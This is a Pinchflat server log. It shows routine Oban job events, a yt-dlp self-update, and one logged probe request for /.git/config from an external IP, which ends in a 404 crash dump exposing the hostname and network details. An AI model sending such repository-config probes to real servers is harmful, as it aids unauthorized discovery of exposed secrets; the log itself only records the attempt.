{"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:21:16.018 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:46.020 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:00.802 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:22:16.022 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:46.024 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:00.804 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:23:16.026 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:46.028 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:00.805 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:24:16.030 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:46.032 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:00.806 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:25:16.034 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:46.036 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:00.807 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:26:16.038 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:46.040 [info] {"source":"oban","duration":1312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:00.808 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:27:16.042 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:46.044 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:00.809 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:28:16.046 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:46.048 [info] {"source":"oban","duration":1038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:00.810 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:29:16.050 [info] {"source":"oban","duration":925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:46.052 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:00.811 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:30:16.054 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:46.056 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:00.812 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:31:16.058 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:46.060 [info] {"source":"oban","duration":1306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:00.813 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:32:16.062 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:46.064 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:00.814 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:33:16.066 [info] {"source":"oban","duration":1657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:46.068 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:00.815 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:34:16.070 [info] {"source":"oban","duration":1616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:46.072 [info] {"source":"oban","duration":1696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:00.816 [info] {"source":"oban","duration":479,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:35:16.075 [info] {"source":"oban","duration":1436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:46.077 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:00.817 [info] {"source":"oban","duration":236,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:36:16.079 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:46.081 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:00.818 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:37:16.083 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:46.085 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:00.819 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:38:16.088 [info] {"source":"oban","duration":2308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:46.090 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:00.820 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:39:16.092 [info] {"source":"oban","duration":1674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:46.094 [info] {"source":"oban","duration":1665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:00.821 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:40:16.096 [info] {"source":"oban","duration":1690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:46.098 [info] {"source":"oban","duration":1609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:00.822 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:41:16.100 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:46.102 [info] {"source":"oban","duration":1593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:00.880 [info] {"source":"oban","duration":57047,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[2613]} 11:42:00.898 [info] {"args":{},"id":2613,"meta":{"cron":true,"cron_expr":"42 18 * * *","cron_tz":"Etc/UTC"},"system_time":1765478520897914710,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","event":"job:start","attempt":1,"tags":["local_data"]} 11:42:00.898 [info] Updating yt-dlp 11:42:00.898 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update 11:42:02.613 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update exited: 0 with: Latest version: stable@2025.12.08 from yt-dlp/yt-dlp yt-dlp is up to date (stable@2025.12.08 from yt-dlp/yt-dlp) 11:42:02.613 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version 11:42:04.002 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version exited: 0 with: 2025.12.08 11:42:04.003 [debug] QUERY OK source="settings" db=0.4ms idle=1831.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:42:04.004 [info] {"args":{},"id":2613,"meta":{"cron":true,"cron_expr":"42 18 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","duration":3105581,"event":"job:stop","queue_time":829992,"attempt":1,"tags":["local_data"]} 11:42:16.104 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:46.106 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:00.881 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:43:16.108 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:46.110 [info] {"source":"oban","duration":1275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:44:00.882 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:44:16.112 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:44:46.114 [info] {"source":"oban","duration":1162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:00.883 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:45:16.116 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:46.118 [info] {"source":"oban","duration":1089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:00.884 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:46:16.119 [info] {"source":"oban","duration":852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:46.122 [info] {"source":"oban","duration":1073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:00.885 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:47:16.124 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:46.126 [info] {"source":"oban","duration":1345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:00.886 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:48:16.128 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:46.130 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:00.887 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:49:16.132 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:46.134 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:00.888 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:50:16.136 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:46.138 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:00.889 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:51:16.140 [info] {"source":"oban","duration":1249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:46.142 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:00.890 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:52:16.144 [info] {"source":"oban","duration":1064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:46.146 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:00.892 [info] {"source":"oban","duration":221,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:53:16.148 [info] {"source":"oban","duration":1038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:46.150 [info] {"source":"oban","duration":1000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:00.893 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:54:16.152 [info] {"source":"oban","duration":1387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:46.154 [info] {"source":"oban","duration":1229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:00.894 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:55:16.155 [info] {"source":"oban","duration":915,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:46.158 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:00.895 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:56:16.160 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:46.162 [info] {"source":"oban","duration":1619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:00.896 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:57:16.165 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:46.167 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:00.897 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:58:16.169 [info] {"source":"oban","duration":1724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:46.172 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:00.898 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:59:16.174 [info] {"source":"oban","duration":1343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:46.175 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:00.899 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:00:16.178 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:46.180 [info] {"source":"oban","duration":1254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:00.900 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:01:16.182 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:46.184 [info] {"source":"oban","duration":961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:00.901 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:02:16.186 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:46.188 [info] {"source":"oban","duration":972,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:00.902 [info] {"source":"oban","duration":467,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:03:16.190 [info] {"source":"oban","duration":1062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:46.192 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:00.903 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:04:16.194 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:46.196 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:00.904 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:05:16.198 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:46.200 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:00.905 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:06:16.202 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:46.204 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:00.906 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:07:16.206 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:46.208 [info] {"source":"oban","duration":1229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:00.907 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:08:16.210 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:46.212 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:00.908 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:09:16.214 [info] {"source":"oban","duration":1243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:46.216 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:00.909 [info] {"source":"oban","duration":229,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:10:16.218 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:46.220 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:00.910 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:11:16.222 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:46.223 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:00.911 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:12:16.226 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:46.228 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:00.912 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:13:16.230 [info] {"source":"oban","duration":1388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:46.232 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:52.871 [info] GET /.git/config 12:13:52.873 [debug] QUERY OK source="settings" db=0.5ms idle=701.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:13:52.873 [debug] QUERY OK source="settings" db=0.3ms idle=702.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:13:52.874 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 12:13:52.874 [error] #PID<0.242889.0> running PinchflatWeb.Endpoint (connection #PID<0.242888.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.242888.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 47964}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 (Linux; U; Android 6.0; he-il; Redmi Note 4X Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/71.0.3578.141 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.9.7-g", "x-forwarded-for" => "195.178.110.223", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "195.178.110.223" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.242889.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 (Linux; U; Android 6.0; he-il; Redmi Note 4X Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/71.0.3578.141 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.9.7-g"}, {"x-forwarded-for", "195.178.110.223"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "195.178.110.223"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIA_GYs4lcLf45MABoFD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.242888.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 47964}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 (Linux; U; Android 6.0; he-il; Redmi Note 4X Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/71.0.3578.141 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.9.7-g", "x-forwarded-for" => "195.178.110.223", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "195.178.110.223" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.242888.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 47964}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 (Linux; U; Android 6.0; he-il; Redmi Note 4X Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/71.0.3578.141 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.9.7-g", "x-forwarded-for" => "195.178.110.223", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "195.178.110.223" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.242889.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_param (truncated) 12:14:00.913 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:14:16.234 [info] {"source":"oban","duration":1329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:14:46.236 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:00.914 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:15:16.238 [info] 